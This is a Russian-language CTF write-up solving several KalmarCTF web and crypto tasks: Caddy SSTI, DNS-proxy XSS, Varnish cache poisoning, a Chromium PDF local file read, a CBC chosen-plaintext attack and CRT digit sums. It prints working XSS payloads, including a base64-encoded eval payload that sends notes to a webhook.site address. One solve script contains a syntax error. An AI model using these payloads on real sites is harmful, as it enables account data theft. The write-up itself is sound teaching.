Недавно мы дружно прошли игру в кальмара, хотелось бы осветить пару заданий по крипте и вебу
Web#
Ez ⛳ v3#
Таск про caddy веб сервер
Как надо было#
Дан файл конфигурации для caddy, есть 2 виртуальных хоста (поддомены): public
и private
.
caddyfile:
...
private.caddy.chal-kalmarc.tf {
# Only admin with local mTLS cert can access
tls internal {
client_auth {
mode require_and_verify
trust_pool pki_root {
authority local
}
}
}
# ... and you need to be on the server to get the flag
route /flag {
@denied1 not remote_ip 127.0.0.1
respond @denied1 "No ..."
# To be really really sure nobody gets the flag
@denied2 `1 == 1`
respond @denied2 "Would be too easy, right?"
# Okay, you can have the flag:
respond {$FLAG}
}
templates
respond /cat `{{ cat "HELLO" "WORLD" }}`
respond /fetch/* `{{ httpInclude "/{http.request.orig_uri.path.1}" }}`
respond /headers `{{ .Req.Header | mustToPrettyJson }}`
respond /ip `{{ .ClientIP }}`
respond /whoami `{http.auth.user.id}`
respond "UNKNOWN ACTION"
}
Надо сходить на private.caddy.chal-kalmarc.tf/flag
, однако это невозможно, как минимум из-за второго условия. Ну и для начала надо как-то обойти проверку client_auth (а хз, она походу не работает или че).
Ознакомимся с ручками private
, самая интересная ручка это /fetch
, она дает ограниченный ssrf. Можно попытаться сходить через него на /flag
, но 1 != 1 никогда не произойдет, поэтому продолжим поиски.
Еще есть ручка /headers
, отражающая передаваемые хедеры. Если учитывать возможность фетча, которая под капотом будет рендерить темплейты - проглядывается вариант сделать двойной рендер, что даст SSTI. Получается мы пошлем бекенд через фетч на /headers
передав кастомный хедер с полезной нагрузкой, ему на этот запрос вернется ответ с полезной наргрузкой и он, отрендерив ее, вернет нам.
Для PoC получим контекстный объект, передаваемый шаблонизатору:
Осталось только выяснить, как прочесть флаг из переменной окружения. В документации находим cпособ через {{ env "NAME"}}
, но с ним всё крашится с 500 статус кодом, потому что шаблон ломается.
Что ж, попробуем иначе передать строку (через бэктики) и получим флаг:
DNXSS-over-HTTPS#
Читаем описание, смотрим на приложенные сурсы (контейнер с ботом и просто nginx, который делает proxy-pass на dns google).
Do you like DNS-over-HTTPS? Well, I'm proxying https://dns.google/! Would be cool if you can find an XSS!
Что же это, надо найти хсс на днс гугла?😨
Взламываем гугл#
На самом деле, в конфиге нжинкса производится сильное допущение, на любой запрос будет выставлен Content-type: text/html
.
nginx.conf:
events {
worker_connections 1024;
}
http {
server {
listen 80;
location / {
proxy_pass https://dns.google;
add_header Content-Type text/html always;
}
location /report {
proxy_pass http://adminbot:3000;
}
}
}
Это значит, достаточно лишь найти способ вывести в любом типе контента нагрузку для xss и это победа.
Наверное, таск можно было решить не имея домен, но я буду показывать с ним, и что вы мне сделаете?
Запишем сразу полезную нагрузку в TXT запись подконтрольного домена.
Попробуем разрезолвить созданную запись на /resolve?name=huy.cr4.sh&type=txt
:
Что же документация Google DNS API говорит нам?
Desired content type option. Use ct=application/dns-message to receive a binary DNS message in the response HTTP body instead of JSON text.
Пробуем добавить query параметрct=application/dns-message
и действительно получаем сырой ответ, в котором наш нагруз никто не повредил. Отстается отправить ссылку с рефлектед xss боту и слутать флаг.
KalmarNotes#
Очередной сервис заметок
Взлом#
Сразу бросается в глаза сервис varnish
, флоу которого кешировать запросы клиентов.
Правила кеширования, default.vcl:
sub vcl_backend_response {
if (bereq.url ~ "\.(js|css|png|gif)$") {
unset beresp.http.Vary;
set beresp.ttl = 10s;
set beresp.http.Cache-Control = "max-age=10";
unset beresp.http.Pragma;
unset beresp.http.Expires;
}
}
Каждая урла с расширением .js
и другие будут кешироваться на 10 секунд.
Получается, скорее всего, доставлять какую-либо нагрузку будем через загрязнение кеша.
Тестируем разные места для xss, залетает в имени пользователя (<img src=x onerror=alert('lol') />
), однако записки в этом приложении только лишь приватные, выходит имеем self xss.
По умолчанию, если ходить на заметку, то она будет открыта в long формате, то есть отобразит юзернейм с полезной нагрузкой, если мы сделаем урлу вида /note/<note_id>/lol.js
.
app.py:
@app.route('/note/<int:note_id>/<string:view_type>')
@authenticated_only
def view_note(note_id, view_type):
note = db.get_note_by_id(note_id, session.get('user_id'))
if not note:
return redirect('/')
if view_type == "short":
return render_template('view_note_short.html',note=note)
elif view_type == "long":
return render_template('view_note_long.html',note=note,username=db.get_username_from_id(session.get('user_id')))
# I guess we just return the long view as default
else:
return render_template('view_note_long.html',note=note,username=db.get_username_from_id(session.get('user_id')))
Выстраивается цепочка:
- Создаем пользователя с полезной нагрузкой в юзернейме
- Создаем заметку
- Идем на свою заметку
/note/<note_id>/lol.js
- Следующие 10 секунд кеш будет отдавать оставленный вредоносный джаваскрипт
Стоит отметить, имеется усложнение в виде включенного http-only у кук, что принуждает написать скрипт на js, который сделает фетч на /api/notes
и пришлет результат на контрольный нам вебхук.
evil.js:
fetch('/api/notes')
.then(response => {
return response.json();
})
.then(data => {
fetch('https://webhook.site/cf71d4b9-fc24-4549-87cf-3f8d19658266/?flag='+data.notes[0].content, { mode: 'no-cors'});
});
И хостим где-нибудь, после регаем юзера с ником <script src="http://jopa.sh/evil.js" />
.
Либо регаем с ником <img src=x onerror=eval(atob("ZmV0Y2goJy9hcGkvbm90ZXMnKQogIC50aGVuKHJlc3BvbnNlID0+IHsKICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7CiAgfSkKICAudGhlbihkYXRhID0+IHsKICAgIGZldGNoKCdodHRwczovL3dlYmhvb2suc2l0ZS9jZjcxZDRiOS1mYzI0LTQ1NDktODdjZi0zZjhkMTk2NTgyNjYvP2ZsYWc9JytkYXRhLm5vdGVzWzBdLmNvbnRlbnQsIHsgbW9kZTogJ25vLWNvcnMnfSk7CiAgfSk7")) />
, где base64 это нагрузка из evil.js
Остается лишь поставить баш однострочник а-ля
curl --path-as-is -i -s -k -X $'GET' \
-b $'session=eyJ1c2VyX2lkIjo0fQ.Z-rYlg.2x19H9NX9Af85TfhopSIHAcoAu8' \
$'http://target.com/note/171863609477/lol.js'
и отправить боту на ревью.
G0tchaberg#
Тут вообще автор не стал паритья и из всех сурсов таска - контейнер с ботом, который кладет флаг и коробочный опенсурс сервис по конвертации различных форматов в pdf.
ищем 0day?#
Начнем с самых дефолтных векторов с dynamic pdf (это когда конвертер рендерит динамических контент html документа) функционала - server side xss, это мы заставляем хромиум под капотом исполнять контролируемый нами javascript код.
Что ж, сразу дам спойлер, Local file read работает, но весьма ограничено (у хромиума есть права только на /tmp директорию), ну для начала ее и залистим.
curl \
--request POST http://localhost:3000/forms/chromium/convert/url \
--form url=file:///tmp/ \
-o my.pdf
От lfr как-будто мало смысла, ведь флаг лежит в другом контейнере, да? Мониторя изменения на файловой системе флаг в контейнере с приложением рано или поздно удалось заметить:
Теперь было бы славно проэксплуатировать именно server side xss, нужно сделать fetch на file:///tmp/uuid/
и потом еще один фетч для прочтения файла, однако хромиум по объективным причинам запрещает джаваскрипту работать с выводом от схемы file://
. Поэтому читая документацию стоит обратить внимание на параметр waitForExpression, который позволяет нам буквально прилепить js к выводу file:///tmp/
.
// Somewhere in the HTML document.
var globalVar = 'notReady'
await promises()
window.globalVar = 'ready'
Получается, мы сперва ликаем uuid директории в которую кладутся файлы до конвертации по последней дате обращения (либо можно точно сделать запрос на chrome://history/
и взять имя директории оттуда), а после прилепляем такой скрипт, который будет работать пока не прочитает флаг.
(async () => {
const files = [];
window.loaded = document.body.innerText.search('kalmar') != -1;
if (!window.loaded) {
for (tr of document.querySelectorAll('tr')) {
const name = tr.children[0].innerText;
if (name === 'Name') {
continue;
}
files.push('file:///tmp/<uuid>/' + name + '/index.html');
}
if (files.length < 2) {
location.reload();
} else {
location = files[1];
}
}
})(),window.loaded
В итоге получаем:
Crypto#
Very Serious Cryptography#
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
with open("flag.txt", "rb") as f:
flag = f.read()
key = os.urandom(16)
# Efficient service for pre-generating personal, romantic, deeply heartfelt white day gifts for all the people who sent you valentines gifts
for _ in range(1024):
# Which special someone should we prepare a truly meaningful gift for?
recipient = input("Recipient name: ")
# whats more romantic than the abstract notion of a securely encrypted flag?
romantic_message = f'Dear {recipient}, as a token of the depth of my feelings, I gift to you that which is most precious to me. A {flag}'
aes = AES.new(key, AES.MODE_CBC, iv=b'preprocessedlove')
print(f'heres a thoughtful and unique gift for {recipient}: {aes.decrypt(pad(romantic_message.encode(), AES.block_size)).hex()}')
Нам дан сервис для генерации подарков на 14 февраля, к слову, не откажусь от какого-нибудь презента https_deka, порадуйте тётю доброй розочкой в телеграмме 🌹(˘ ε ˘ʃƪ●)
Программа принимает имя получателя и формирует сообщение, содержащее флаг. Ещё один фанфакт - использование decrypt вместо encrypt, что в нашем случае роли не играет. Сформированное сообщение “шифруется”, а полученный презент в шестнадцатеричном формате выдается пользователю.
Можно заметить, использование одного и того же вектора инициализации и ключа для всех получателей подарков:
key = os.urandom(16)
- генерируется случайный 16-байтовый ключ, который используется для всех 1024 подарков.aes = AES.new(key, AES.MODE_CBC, iv=b'preprocessedlove')
- используется статический iv.
Как работает режим CBC#
Открытый текст разделяется на блоки
Первый блок гаммируется с iv - массивом байтов той же длины, что и блок, после чего шифруется.
Каждый следующий блок гаммируется с предыдущим, а затем шифруется. Из-за связи блоков происходит каскадное воздействие на всю цепочку.
Визуальное представление алгоритма:#
Шифротекст делится на блоки
Каждый блок расшифровывается, а затем гаммируется с предыдущим блоком шифротекста. Чтобы расшифровать первый блок, снова нужно воспользоваться вектором инициализации.
Визуальное представление алгоритма:#
Инициализирующий вектор имеет ключевое значение для обеспечения уникальности зашифрованного текста при использовании одного и того же ключа шифрования. Шифрование с помощью одинакового ключа и разного iv приведёт к разному результату.
Режим CBC чувствителен к повторному использованию пары ключ-вектор, и если зашифровать разные сообщения с одинаковыми ключом и вектором, то, анализируя различия в шифротекстах, можно восстановить исходные сообщения.
Как мы это используем?#
Процесс атаки можно разделить на три ключевых этапа:
1. Атакующий контролирует часть открытого текста, добавляя символы к имени получателя.
m1 = 'Dear '
— фиксированная часть префикса сообщения.name = 'A' * lenPadd
— управляемая часть сообщения.m2 = ', as a token of the depth of my feelings, I gift to you that which is most precious to me. A '
— фиксированная часть сообщения.
Цель управления именем — выровнять длину сообщения так, чтобы следующим символом в открытом тексте всегда был очередной символ флага.
lenPadd = (15 - len(m1 + m2 + flag)) % 16
name = 'A' * lenPadd
Здесь вычисляется длина необходимого заполнения для выравнивания до границы блока (AES использует блоки по 16 байт).
2. Далее атакующий перебирает все возможные символы для следующего символа флага, чтобы получить набор шифртекстов.
results = {}
for char in alphabet:
# сообщение, включающее текущую известную часть флага и пробуемый символ отправляется серверу
prikol = name + m2 + flag + char
i.sendline(prikol.encode())
ans = bytes.fromhex(i.recvline().decode().split()[-1])
# cоздаётся набор шифртекстов для каждого возможного символа флага
results[ans] = char
3. Сравнивая начальные байты полученных шифртекстов с начальными байтами исходного шифртекста, атакующий определяет, какой символ соответствует следующему символу флага.
Мы сначала получаем исходный шифртекст для текущего состояния сообщения:
i.sendline(name).encode())
initialMsg = bytes.fromhex(i.recvline().decode().split()[-1])
Определяем длину для сравнения:
lenCompare = len(m1 + name + m2 + flag) + 1
А затем сравниваем шифртекст, если начальные байты совпадают, найденный символ добавляется к флагу:
for ans, char in results.items():
if initialMsg[:lenCompare] == ans[:lenCompare]:
flag += char
break
Такая атака называется Chosen Plaintext Attack (CPA). При ней атакующий выбирает открытый текст и может получить соответствующий шифротекст.
from pwn import remote
import string
m1 = 'Dear '
m2 = ', as a token of the depth of my feelings, I gift to you that which is most precious to me. A '
alphabet = string.printable
flag = ''
i = remote('basic-sums.chal-kalmarc.tf', 2257)
while '}' not in flag:
try:
lenPadd = (15 - len(m1 + m2 + flag)) % 16
name = 'A' * lenPadd
# получаем исходное значения для сравнения
i.sendline(name).encode())
initialMsg = bytes.fromhex(i.recvline().decode().split()[-1])
results = {}
for char in alphabet:
# формируем строку для брута, отправляем её и сохраяем результат
prikol = name + m2 + flag + char
i.sendline(prikol.encode())
ans = bytes.fromhex(i.recvline().decode().split()[-1])
results[ans] = char
# вычисляем длину для сравнения
lenCompare = len(m1 + name + m2 + flag) + 1
# ищем совпадения
for ans, char in results.items():
if initialMsg[:lenCompare] == ans[:lenCompare]:
flag += char
break
print(flag)
except EOFError:
print('attempts ended (◔_◔)')
i = remote('basic-sums.chal-kalmarc.tf', 2257)
(ꈍoꈍ✿) ( • )( • ) - сиськи хз
-> тут <- добрая история про Хулиано на пляже
Можно использовать для дополнительного ознакомления:
basic sums#
with open("flag.txt", "rb") as f:
flag = f.read()
# I found this super cool function on stack overflow \o/ https://stackoverflow.com/questions/2267362/how-to-convert-an-integer-to-a-string-in-any-base
def numberToBase(n, b):
if n == 0:
return [0]
digits = []
while n:
digits.append(int(n % b))
n //= b
return digits[::-1]
assert len(flag) <= 45
flag = int.from_bytes(flag, 'big')
base = int(input("Give me a base! "))
if base < 2:
print("Base is too small")
quit()
if base > 256:
print("Base is too big")
quit()
print(f'Here you go! {sum(numberToBase(flag, base))}')
Программа считывает флаг, преобразует его в число, а затем выводит сумму цифр этого числа в заданной системе счисления.
Когда я увидела это задание, на ум сразу пришла самая простая стратегия - брутать число:
Запросить сумму цифр для основания 2. Сумма цифр в таком случае будет равна количеству единичек.
Перебрать все возможные комбинации двоичных чисел с заданным количеством единиц и сравнить результат с требуемой суммой в другой системе счисления.
Почему брутать не круто?#
Исходим от противного, возьмём максимальную длину флага - 45, строка из 45 символов в двоичном представлении будет занимать 360 бит. Мы знаем что в двоичной записи флага содержится 201 единичка.
Можно упростить задачу, добавив известное начало флага: 1101011011000010110110001101101011000010111001001111011
Мы знаем, что в первых 55 позициях расположены 30 единиц. Остаётся определить расположение 171 единицы в оставшихся 305 позициях. Количество подходящих чисел:
$$ C(n, k)= \frac{n!}{k! \cdot (n-k)!}= \frac{305!}{171! \cdot 134!} \approx 3.16 \cdot 10^{89} $$
Метод полного перебора здесь абсолютно непрактичен, поэтому давайте отбросим подобные мысли (◡ _ ◡ ✿)
Что же делать?#
Сумму цифр числа я буду обозначать так:
$$ sum(N_b)\Rightarrow sum(15_{10})=6 $$
Так вот, существует одна любопытная особенность:
$$N \bmod(b-1)\equiv sum(N_{b})$$
Пусть у нас есть число N в системе счисления с основанием b, его можно записать так:
$$ N = a_{i}b^{i} + a_{i-1}b^{i-1} + \dots + a_{1}b+a_{0} $$ где a — цифры числа в системе с основанием b.
Вычислив это выражение по модулю b-1, мы можем заменить каждое b на 1, так как:
💡 Пояснение по записи: a ≡ b (mod m) ⇔ числа a и b дают одинаковые остатки по модулю m.
$$b - 1 \equiv 0 \bmod (b-1)\Rightarrow b \equiv 1 \bmod(b -1) $$
Возводя обе части сравнения в степень получаем:
$$ b^i \equiv 1^i \bmod (b-1)\Rightarrow b^i \equiv 1 \bmod (b-1) $$
$$ \Rightarrow N\bmod(b-1)=a_{i}\cdot1+a_{i-1} \cdot 1 + \dots + a_{1}\cdot1+a_{0} = sum(N_{b}) $$
Например:
$$ 15_{10}=1\cdot10^{1}+5\cdot10^{0} = 10+5 $$
$$ 15_{10}\bmod9 = 1 + 5 = 6 = sum(15_{10}) $$
Таким образом, число N в любой системе счисления с основанием b эквивалентно сумме его цифр по модулю b-1.
Очень похожее свойство используется, например, в проверке делимости на 9: число делится на 9, если сумма его цифр делится на 9.
Тогда всё задание можно свести к:
$$ sum(numberToBase(flag, base)) = flag \bmod (base -1)$$
Для наглядности:
n = 666
def numberToBase(n, b):
if n == 0:
return [0]
digits = []
while n:
digits.append(int(n % b))
n //= b
return digits[::-1]
for b in range(2, 257):
print(f'{n} % {(b-1)} = {n % (b - 1)}')
print(f'summ for {n, b}: {sum(numberToBase(n, b)) % (b-1)} \n')
Далее для нахождения флага мы можем собрать “суммы” и воспользоваться китайской теоремой об остатках (КТО или CRT или ЧЗХ).
Зачем тут КТО (who)?#
Китайская теорема об остатках позволяет восстановить число, если известны его остатки по нескольким взаимно простым модулям.
Приведу пример с числами. У нас есть следующая система уравнений:
$$ \begin{cases} x \equiv 1 \bmod 4 \\ x \equiv 2 \bmod 5 \\ x \equiv 3 \bmod 7 \\ \end{cases} $$
Все модули должны быть попарно взаимно простыми (т.е. никакие два из них не имеют общего делителя больше 1). Модули 4, 5 и 7 подходят под это условие, то есть можно пользоваться КТО.
$$ N = 4 \cdot 5 \cdot 7 = 140 $$
Для каждого сравнения находим вспомогательные М и y: $$ 1) \ x \equiv 1 \bmod 4 $$ $$ M_1 = \frac {140} 4 = 35$$ $$ 35y_1 \equiv 1 \bmod 4 \Rightarrow 3y_1 \equiv 1 \bmod 4 \Rightarrow y_1 = 3 $$
$$ 2) \ x \equiv 2 \bmod 5 $$ $$ M_2 = \frac {140} 5 = 28$$ $$ 28y_2 \equiv 1 \bmod 5 \Rightarrow 3y_2 \equiv 1 \bmod 5 \Rightarrow y_2 = 2 $$
$$ 3) \ x \equiv 3 \bmod 7 $$ $$ M_3 = \frac {140} 7 = 20$$ $$ 20y_3 \equiv 1 \bmod 7 \Rightarrow 6y_3 \equiv 1 \bmod 7 \Rightarrow y_3 = 6 $$
Теперь “собираем” ответ по формуле:
$$x = (a_1 \cdot M_1 \cdot y_1 + a_2 \cdot M_2 \cdot y_2 + a_3 \cdot M_3 \cdot y_3) \bmod N$$ $$x = (1 \cdot 35 \cdot 3 + 2 \cdot 28 \cdot 2 + 3 \cdot 20 \cdot 6) \bmod 140 = 577 \bmod 140 = 17$$
Ответ: 17
В качестве проверки подставим 17 в начальную систему уравнений:
$$ \begin{cases} 17 \equiv 1 \bmod 4 \\ 17 \equiv 2 \bmod 5 \\ 17 \equiv 3 \bmod 7 \\ \end{cases} $$ Всё верно, ура! По аналогичной схеме мы будем восстанавливать флаг, но КТО возьмём готовую.
from pwn import remote
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
sums = []
moduls = []
for b in range(256, 2, -1):
i = remote('basic-sums.chal-kalmarc.tf', 2256)
i.sendline(str(b).encode())
summ = int(i.recv().split()[-1])
modul = b - 1
sums.append(summ)
moduls.append(modul)
flag, _ = crt(moduls, sums)
print(long_to_bytes(flag))
-> тык <- для полного погружения.
Всем счастья!!💋💋💋